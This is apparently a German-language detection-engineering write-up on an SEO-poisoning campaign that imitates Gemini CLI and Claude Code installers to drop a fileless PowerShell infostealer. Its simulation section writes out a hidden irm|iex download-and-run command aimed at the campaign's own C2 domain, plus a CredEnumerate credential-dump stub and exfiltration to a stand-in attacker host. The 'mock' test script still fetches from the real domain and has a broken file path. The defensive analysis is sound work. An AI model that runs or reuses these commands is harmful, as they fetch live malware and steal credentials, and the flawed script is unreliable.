SEO-Vergiftungskampagne nutzt Gemini- und Claude-Code-Köder, um einen Infostealer zu liefern
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Finanzmotivierte eCrime-Akteure nutzen SEO-Poisoning, um gefälschte Domains zu verbreiten, die Installer für KI-Code-Assistenten nachahmen. Opfer, die einen einzigen PowerShell-Befehl von diesen Seiten kopieren und einfügen, lösen einen dateilosen Infostealer aus, der vollständig im Speicher ausgeführt wird. Die Malware stiehlt Anmeldedaten, Sitzungscookies, VPN-Schlüssel und sensible Dateien, bevor die Daten in verschlüsselter Form an einen Kommando- und Kontrollserver exfiltriert werden. Die Kampagne richtet sich auf Windows-Entwickler-Arbeitsstationen und tarnt sich durch den Missbrauch bekannter Entwickler-Tools als normale Aktivität.
Untersuchung
Analysten von EclecticIQ verfolgten die bösartige Infrastruktur zu .co.com Domains, die PowerShell-Download-Strings bereitstellen durch irm and iex. Das Erste-Stadium-Skript startet ein verstecktes PowerShell-Fenster unter Verwendung von Shell.Application.ShellExecute, und lädt dann zusätzliche C#-Typen, um Anmeldedaten, Systemdetails und andere wertvolle Daten zu sammeln. Die Exfiltration wurde über HTTP und HTTPS zu events.msft23.com and events.ms709.com mit spezifischen URL-Pfaden beobachtet. Passive DNS-Analyse verknüpfte die Operation mit einem Bulletproof-Hosting-Anbieter in den Niederlanden und mit einem größeren Cluster von Typosquatting-Domains.
Minderung
Verteidiger sollten das irm | iex Ausführungsmuster, versteckte PowerShell-Fenster und verdächtige Add-Type Verwendung mit P/Invoke-Aufrufen erkennen und blockieren. Organisationen sollten PowerShell Constrained Language Mode durchsetzen und AppLocker oder WDAC verwenden, um die Skriptausführung von internetbezogenem Inhalt zu verhindern. Die Einschränkung des Schreibzugriffs auf die Zwischenablage des Browsers und das Erzwungen von kurzlebigen OAuth-Token für Entwickleraccounts kann die Exposition weiter reduzieren. Entwickler sollten ebenfalls geschult werden, um Befehle von unzuverlässigen Websites nicht durch Kopieren und Einfügen auszuführen.
Reaktion
Sicherheitsteams sollten auf PowerShell-Prozesse alarmieren, die mit -WindowStyle Hidden gestartet oder durch Shell.Application.ShellExecuteaufgerufen werden. Diese Ereignisse sollten mit ausgehenden HTTP-Anfragen zu Domains verglichen werden, die mit *-setup.com or events.*.comübereinstimmen, insbesondere wenn die Pfade /take, /processoder /validate auftauchen. Wenn dieses Verhalten entdeckt wird, sollten Sie den betroffenen Endpunkt isolieren, PowerShell-Protokolle sammeln und eine forensische Sammlung von Browser-Daten und Anmeldedaten-Speichern durchführen.
graph TB %% Klassendefinitionen classDef action fill:#99ccff classDef tool fill:#ffdd99 classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef operator fill:#ff9900 %% Knoten – Aktionen initial_access[„<b>Aktion</b> – <b>T1189 Drive-by-Kompromittierung</b>: SEO-vergiftete Suchergebnisse liefern eine gefälschte Installationsseite für Gemini CLI / Claude Code.<br/><b>Subtechniken</b> T1204.001 Benutzerausführung (bösartiger Link) und T1204.004 Benutzerausführung (PowerShell-One-Liner per Copy & Paste).“] class initial_access action execution[„<b>Aktion</b> – <b>T1059.001 PowerShell</b>: In-Memory-Skript über Shell.Application.ShellExecute ausgeführt, reflektiver Download/Execute (irm|iex).<br/><b>Obfuskation</b> T1027 und T1027.016 Junk-Code.“] class execution action defense_evasion[„<b>Aktion</b> – <b>T1562.001 Sicherheits-Tools deaktivieren</b>: Patchen von amsi.dll, Deaktivierung von ETW, Sandbox-Prüfung für qemu-ga.<br/><b>Subtechnik</b> T1562.006 Deaktivierung von Windows Event Tracing.“] class defense_evasion action credential_access[„<b>Aktion</b> – <b>T1555.003 Zugangsdaten aus Webbrowsern</b>: Extraktion von Browser-Zugangsdaten und Cookies.<br/><b>Zusätzliche Techniken</b> T1555.004 Windows-Anmeldeinformationsverwaltung, T1552.001 Zugangsdaten in Dateien, T1552.002 Zugangsdaten in der Registry, T1539 Web-Session-Cookie-Diebstahl, T1550.004 Session-Cookies.“] class credential_access action discovery[„<b>Aktion</b> – <b>T1057 Prozess-Erkennung</b>: Prozess-Enumeration über Restart Manager.<br/><b>Zusätzliche Techniken</b> T1083 Datei- und Verzeichnis-Erkennung, T1217 Browser-Informations-Erkennung, T1497.002 Virtualisierungs-/Sandbox-Evasion.“] class discovery action collection[„<b>Aktion</b> – <b>T1005 Daten vom lokalen System</b>: Sammlung von Benutzerdateien (*.txt, *.docx) und Cloud-synchronisierten Verzeichnissen (T1039).“] class collection action command_and_control[„<b>Aktion</b> – <b>T1071.001 Web-Protokolle</b>: HTTPS-Beacons zu events.msft23.com / events.ms709.com (/take, /process, /validate).<br/><b>Verschlüsselung</b> RSA-verschlüsselte Aufgabenliste (T1573) und Payload-Download (T1105 Ingress Tool Transfer).“] class command_and_control action exfiltration[„<b>Aktion</b> – <b>T1041 Exfiltration über C2-Kanal</b>: Verschlüsselte Exfiltration der gesammelten Daten.<br/><b>Subtechnik</b> T1020 Automatisierte Exfiltration.“] class exfiltration action %% Knoten – Tools / Malware tool_powershell[„<b>Tool</b> – <b>Name</b>: PowerShell<br/><b>Beschreibung</b>: Windows-Skripting-Engine für In-Memory-Ausführung.“] class tool_powershell tool tool_shellexecute[„<b>Tool</b> – <b>Name</b>: Shell.Application.ShellExecute<br/><b>Beschreibung</b>: Startet versteckte Fenster zur Skriptausführung.“] class tool_shellexecute tool tool_amsi_patch[„<b>Tool</b> – <b>Name</b>: AMSI-Patch<br/><b>Beschreibung</b>: Modifiziert amsi.dll zur Umgehung der Skriptanalyse.“] class tool_amsi_patch tool tool_etw_disable[„<b>Tool</b> – <b>Name</b>: ETW-Deaktivierung<br/><b>Beschreibung</b>: Deaktiviert Windows Event Tracing zur Erkennungsevasion.“] class tool_etw_disable tool tool_credmanager[„<b>Tool</b> – <b>Name</b>: CredEnumerate API<br/><b>Beschreibung</b>: Ruft Zugangsdaten aus der Windows-Anmeldeinformationsverwaltung ab.“] class tool_credmanager tool tool_ssh_reg[„<b>Tool</b> – <b>Name</b>: Registry-Auslesung<br/><b>Beschreibung</b>: Liest gespeicherte Passwörter von WinSCP und PuTTY aus der Registry.“] class tool_ssh_reg tool tool_vpn[„<b>Tool</b> – <b>Name</b>: VPN-Konfigurationssammler<br/><b>Beschreibung</b>: Sammelt VPN-Konfigurationsdateien zur Wiederverwendung.“] class tool_vpn tool tool_wallet[„<b>Tool</b> – <b>Name</b>: Krypto-Wallet-Diebstahl<br/><b>Beschreibung</b>: Extrahiert Wallet-Dateien und private Schlüssel.“] class tool_wallet tool %% Verbindungen – Angriffsfluss initial_access –>|führt zu| execution execution –>|verwendet| tool_powershell execution –>|verwendet| tool_shellexecute execution –>|enthält| tool_amsi_patch execution –>|enthält| tool_etw_disable execution –>|führt zu| defense_evasion defense_evasion –>|verwendet| tool_amsi_patch defense_evasion –>|verwendet| tool_etw_disable defense_evasion –>|führt zu| credential_access credential_access –>|verwendet| tool_credmanager credential_access –>|verwendet| tool_ssh_reg credential_access –>|verwendet| tool_vpn credential_access –>|verwendet| tool_wallet credential_access –>|führt zu| discovery discovery –>|führt zu| collection collection –>|führt zu| command_and_control command_and_control –>|verwendet| tool_powershell command_and_control –>|führt zu| exfiltration
Angriffsfluss
Erkennungen
Download oder Upload via Powershell (via cmdline)
Ansicht
Verdächtige Powershell-Strings (via powershell)
Ansicht
Aufruf verdächtiger .NET-Methoden aus PowerShell (via powershell)
Ansicht
IOCs (HashSha256) zur Erkennung: SEO-Poisoning-Kampagne nutzt Gemini- und Claude-Code-Imitation zur Bereitstellung von Infostealer Teil 2
Ansicht
IOCs (HashSha256) zur Erkennung: SEO-Poisoning-Kampagne nutzt Gemini- und Claude-Code-Imitation zur Bereitstellung von Infostealer Teil 1
Ansicht
IOCs (SourceIP) zur Erkennung: SEO-Poisoning-Kampagne nutzt Gemini- und Claude-Code-Imitation zur Bereitstellung von Infostealer
Ansicht
IOCs (DestinationIP) zur Erkennung: SEO-Poisoning-Kampagne nutzt Gemini- und Claude-Code-Imitation zur Bereitstellung von Infostealer
Ansicht
Erkennen von C2-Beacon-Muster mit bestimmten URI-Pfaden [Windows-Netzwerkverbindung]
Ansicht
Dateilose PowerShell-Infostealer-Ausführung [Windows PowerShell]
Ansicht
Simulation Ausführung
Voraussetzung: Die Telemetrie & der Basis-Prüfvorflug muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechniken (TTP), die darauf abzielen, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt reflektieren und darauf abzielen, genau die Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.
-
Angriffs-Narrative & Befehle:
Ein Angreifer kompromittiert ein Benutzerkonto mit niedrigen Privilegien und führt eine PowerShell-Einzeiler aus übercmd.exe. Der Einzeiler verwendetirm(Invoke-RestMethod), um ein bösartiges PowerShell-Skript vonevents.msft23.com, leitet es zuiex(Invoke-Expression) weiter, um die Nutzlast vollständig im Speicher auszuführen, und versteckt das PowerShell-Fenster, um Schulter-Surfen zu vermeiden. Die Nutzlast lädt anschließend einen .NET-Typ mitAdd-Type, um eine Anmeldeinformationsenumeration mit derCredEnumerateAPI durchzuführen und die gesammelten Daten über HTTPS zu exfiltrieren. Alle Schritte werden ausgeführt, ohne Dateien auf der Festplatte zu schreiben, was der Beschreibung „dateilos“ entspricht.# Schritt 1 – Versteckter PowerShell-Start powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"Die heruntergeladene
payload.ps1(im Speicher ausgeführt) enthält:# Schritt 2 – .NET-Typ für Anmeldeinformationsenumeration laden $type = @" using System; using System.Runtime.InteropServices; public class Cred { [DllImport(""advapi32.dll"", SetLastError=true)] public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials); } "@ Add-Type $type # Schritt 3 – Anmeldeinformationsabzug aufrufen und exfiltrieren $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr) $data = "Gesammelte $count Anmeldeinformationen" Invoke-RestMethod -Method Post -Uri https://attacker.c2/exfil -Body $dataDiese Sequenz generiert die Kommandozeilen-Fragmente, die die Sigma-Regel trifft:
powershell.exe -WindowStyle Hiddenirm events.msft23.com | iexAdd-Typeadvapi32.dll!CredEnumerate
-
Regression Test Script: Das folgende Skript reproduziert das genaue Verhalten auf einem Testarbeitsplatz. Führen Sie es aus einem erhöhten PowerShell-Prompt aus.
# Dateilose PowerShell-Infostealer-Simulation – TC-20260525-A7Z3K # ------------------------------------------------------------ # Schritt 1 – Versteckte PowerShell ausführen, die Payload herunterlädt & ausführt $command = 'powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"' Start-Process -FilePath "cmd.exe" -ArgumentList "/c $command" -WindowStyle Hidden # Mock-Payload.ps1-Inhalt (lokal für sicheres Testen gehostet) $payload = @' $type = @" using System; using System.Runtime.InteropServices; public class Cred { [DllImport("advapi32.dll", SetLastError=true)] public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials); } "@ Add-Type $type $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr) $data = "Gesammelte $count Anmeldeinformationen" # Exfiltration zu einem harmlosen Endpunkt simulieren Invoke-RestMethod -Method Post -Uri "https://httpbin.org/post" -Body $data '@ # Schreiben Sie den Mock-Payload an einen temporären Ort für den Test (simuliert das Remote-Hosting) $tempPath = "$env:TEMPpayload.ps1" Set-Content -Path $tempPath -Value $payload -Encoding UTF8 # Dienen Sie die Payload über einen einfachen lokalen HTTP-Listener (zur Demonstration) $listener = [System.Net.HttpListener]::new() $listener.Prefixes.Add("http://+:8080/") $listener.Start() Write-Host "Dienst der Mock-Payload unter http://localhost:8080/payload.ps1" while ($listener.IsListening) { $context = $listener.GetContext() if ($context.Request.Url.AbsolutePath -eq "/payload.ps1") { $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $context.Response.ContentLength64 = $bytes.Length $context.Response.OutputStream.Write($bytes,0,$bytes.Length) $context.Response.Close() } } # Hinweis: Stoppen Sie den Listener manuell nach der Validierung. -
Bereinigungsbefehle: Entfernen Sie temporäre Dateien und stoppen Sie den HTTP-Listener.
# Bereinigung nach der Simulation Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue # Stoppen Sie den lokalen HTTP-Listener (falls noch aktiv) Get-Process -Name "powershell" | Where-Object {$_.MainWindowTitle -match "payload"} | Stop-Process -Force